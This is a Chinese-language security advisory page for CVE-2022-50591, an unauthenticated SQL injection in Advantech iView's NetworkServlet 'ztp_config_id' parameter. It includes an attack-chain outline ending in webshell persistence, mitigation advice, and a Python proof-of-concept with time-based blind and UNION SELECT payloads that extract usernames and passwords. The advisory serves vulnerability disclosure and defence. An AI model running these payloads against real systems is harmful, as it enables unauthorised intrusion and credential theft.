IPBUF安全漏洞报告
English
CVE-2022-50591 CVSS 9.8 严重

CVE-2022-50591 Advantech iView ztp_config_id参数SQL注入漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2022-50591
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Advantech iView

相关标签

SQL注入认证绕过Advantech iViewCVE-2022-50591远程代码执行信息泄露NetworkServletztp_config_idSNMP管理工具

漏洞概述

Advantech iView 5.7.04 build 6425之前版本存在严重安全漏洞。该漏洞位于SNMP管理工具中,攻击者可以绕过身份验证机制,访问NetworkServlet端点中的SQL注入漏洞点。通过利用'ztp_config_id'参数,攻击者能够在未经授权的情况下执行恶意SQL查询,最终导致用户数据泄露,包括明文存储的密码等敏感信息。由于该漏洞无需认证即可利用,且CVSS评分高达9.8,属于极其严重的远程代码执行类漏洞,对系统机密性、完整性和可用性均造成极大威胁。建议受影响用户尽快升级至v5.7.04 build 6425或更高版本以修复此安全问题。

技术细节

该漏洞为典型的SQL注入漏洞,存在于Advantech iView的SNMP管理模块中。漏洞的核心问题在于NetworkServlet端点对'ztp_config_id'参数的输入验证不足,攻击者可以通过构造特殊的SQL语句片段实现注入攻击。由于系统存在认证绕过问题,攻击者无需提供有效的用户凭证即可到达漏洞点。在成功注入后,攻击者可以执行任意SQL命令,包括但不限于查询、修改、删除数据库中的数据。漏洞影响范围包括所有使用明文存储的用户凭证、其他敏感配置信息等。攻击者通常利用UNION SELECT或布尔盲注等技术提取数据库内容,在某些情况下甚至可以获得数据库服务器的操作系统级访问权限。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标服务器上运行的Advantech iView版本,确认版本低于v5.7.04 build 6425
STEP 2
认证绕过
利用SNMP管理工具中的认证绕过漏洞,无需有效凭证即可访问受保护的NetworkServlet端点
STEP 3
SQL注入探测
向/NetworkServlet端点的ztp_config_id参数发送测试载荷,确认SQL注入漏洞存在
STEP 4
数据提取
使用UNION SELECT或时间盲注技术提取数据库中的用户表数据,包括用户名和明文密码
STEP 5
权限提升
利用获取的管理员凭证登录系统后台,进一步控制整个应用程序
STEP 6
持久化控制
在某些情况下,攻击者可通过数据库操作写入webshell或修改应用配置,实现长期持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2022-50591 PoC - Advantech iView SQL Injection # Target: Advantech iView < v5.7.04 build 6425 # Vulnerability: SQL Injection in ztp_config_id parameter def exploit_sqli(target_url): """ Exploit SQL injection in NetworkServlet endpoint This PoC demonstrates blind SQL injection to extract admin password """ endpoint = "/iDirect/intervene/NetworkServlet" # SQL Injection payload - extracts password hash # Using time-based blind SQL injection technique payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE SLEEP(0) END) AND '1'='1" # Alternative payload for data extraction data_extraction_payload = "1' UNION SELECT NULL,NULL,username,password,NULL,NULL,NULL,NULL FROM users WHERE '1'='1" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Test injection point params = { 'ztp_config_id': payload } try: print(f"[*] Testing target: {target_url}") print(f"[*] Endpoint: {endpoint}") print(f"[*] Payload: {payload}") # Send request response = requests.get( f"{target_url}{endpoint}", params=params, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") return response.text except requests.exceptions.Timeout: print("[+] Time-based SQL injection confirmed!") return None except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target)

影响范围

Advantech iView < 5.7.04 build 6425

防御指南

临时缓解措施
由于该漏洞无需认证即可被利用,建议采取以下临时缓解措施:1) 在网络层限制对iView管理接口的访问,仅允许受信任的IP地址访问;2) 部署Web应用防火墙规则阻断含有SQL注入特征的请求;3) 监控SNMP管理和NetworkServlet相关的网络流量,及时发现异常活动;4) 如条件允许,临时禁用SNMP管理功能直至完成补丁升级。长期来看,必须将系统升级至供应商发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表